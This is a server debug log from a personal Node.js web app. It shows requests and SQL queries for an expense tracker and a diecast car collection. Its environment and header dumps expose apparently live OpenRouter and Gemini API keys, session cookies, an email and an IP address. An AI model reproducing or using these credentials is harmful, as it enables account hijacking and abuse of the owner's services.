    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-24T11:09:56.596Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T11:09:56.597Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T11:09:56.597Z server-connect:app Executing action step identify
2025-12-24T11:09:56.597Z server-connect:app options: { provider: 'security' }
2025-12-24T11:09:56.597Z server-connect:output identity: 1
2025-12-24T11:09:56.597Z server-connect:app Executing action step restrict
2025-12-24T11:09:56.597Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:09:56.598Z server-connect:app Executing action step identify
2025-12-24T11:09:56.598Z server-connect:app options: { provider: 'security' }
2025-12-24T11:09:56.598Z server-connect:output identity: 1
2025-12-24T11:09:56.598Z server-connect:app Executing action step restrict
2025-12-24T11:09:56.598Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:09:56.599Z server-connect:output restrict: undefined
2025-12-24T11:09:56.599Z server-connect:app Executing action step select
2025-12-24T11:09:56.599Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T11:09:56.601Z server-connect:output restrict: undefined
2025-12-24T11:09:56.601Z server-connect:app Executing action step single
2025-12-24T11:09:56.601Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T11:09:56.604Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T11:09:56.607Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T11:09:59.582Z server-connect:router Serving templateView /diecast
2025-12-24T11:09:59.583Z server-connect:app Executing action step identify
2025-12-24T11:09:59.583Z server-connect:app options: { provider: 'security' }
2025-12-24T11:09:59.583Z server-connect:output identity: 1
2025-12-24T11:09:59.583Z server-connect:app Executing action step restrict
2025-12-24T11:09:59.583Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T11:09:59.584Z server-connect:output restrict: undefined
2025-12-24T11:09:59.584Z server-connect:router Render template diecast
2025-12-24T11:09:59.584Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T11:09:59.860Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-24T11:09:59.861Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-24T11:09:59.861Z server-connect:router Serving serverConnect /api/diecast/list
2025-12-24T11:09:59.861Z server-connect:router Serving serverConnect /api/masters/collections/list
2025-12-24T11:09:59.862Z server-connect:app Executing action step identify
2025-12-24T11:09:59.862Z server-connect:app options: { provider: 'security' }
2025-12-24T11:09:59.862Z server-connect:output identity: 1
2025-12-24T11:09:59.862Z server-connect:app Executing action step restrict
2025-12-24T11:09:59.862Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:09:59.862Z server-connect:app Executing action step identify
2025-12-24T11:09:59.862Z server-connect:app options: { provider: 'security' }
2025-12-24T11:09:59.862Z server-connect:output identity: 1
2025-12-24T11:09:59.862Z server-connect:app Executing action step restrict
2025-12-24T11:09:59.862Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:09:59.863Z server-connect:app Executing action step identify
2025-12-24T11:09:59.863Z server-connect:app options: { provider: 'security' }
2025-12-24T11:09:59.863Z server-connect:output identity: 1
2025-12-24T11:09:59.863Z server-connect:app Executing action step restrict
2025-12-24T11:09:59.863Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:09:59.864Z server-connect:app Executing action step identify
2025-12-24T11:09:59.864Z server-connect:app options: { provider: 'security' }
2025-12-24T11:09:59.864Z server-connect:output identity: 1
2025-12-24T11:09:59.864Z server-connect:app Executing action step restrict
2025-12-24T11:09:59.864Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:09:59.865Z server-connect:output restrict: undefined
2025-12-24T11:09:59.865Z server-connect:app Executing action step select
2025-12-24T11:09:59.865Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-24T11:09:59.865Z server-connect:output restrict: undefined
2025-12-24T11:09:59.865Z server-connect:app Executing action step paged
2025-12-24T11:09:59.865Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2025-12-24T11:09:59.867Z server-connect:output restrict: undefined
2025-12-24T11:09:59.867Z server-connect:app Executing action step select
2025-12-24T11:09:59.867Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-24T11:09:59.868Z server-connect:router Serving serverConnect /api/diecast/get-filters
2025-12-24T11:09:59.868Z server-connect:output restrict: undefined
2025-12-24T11:09:59.868Z server-connect:app Executing action step select
2025-12-24T11:09:59.868Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2025-12-24T11:09:59.869Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 }
]
2025-12-24T11:09:59.870Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 }
]
2025-12-24T11:09:59.871Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 }
]
2025-12-24T11:09:59.874Z server-connect:app Executing action step identify
2025-12-24T11:09:59.875Z server-connect:app options: { provider: 'security' }
2025-12-24T11:09:59.875Z server-connect:output identity: 1
2025-12-24T11:09:59.875Z server-connect:app Executing action step restrict
2025-12-24T11:09:59.875Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T11:09:59.875Z server-connect:output restrict: undefined
2025-12-24T11:09:59.876Z server-connect:app Executing action step select
2025-12-24T11:09:59.876Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-24T11:09:59.878Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
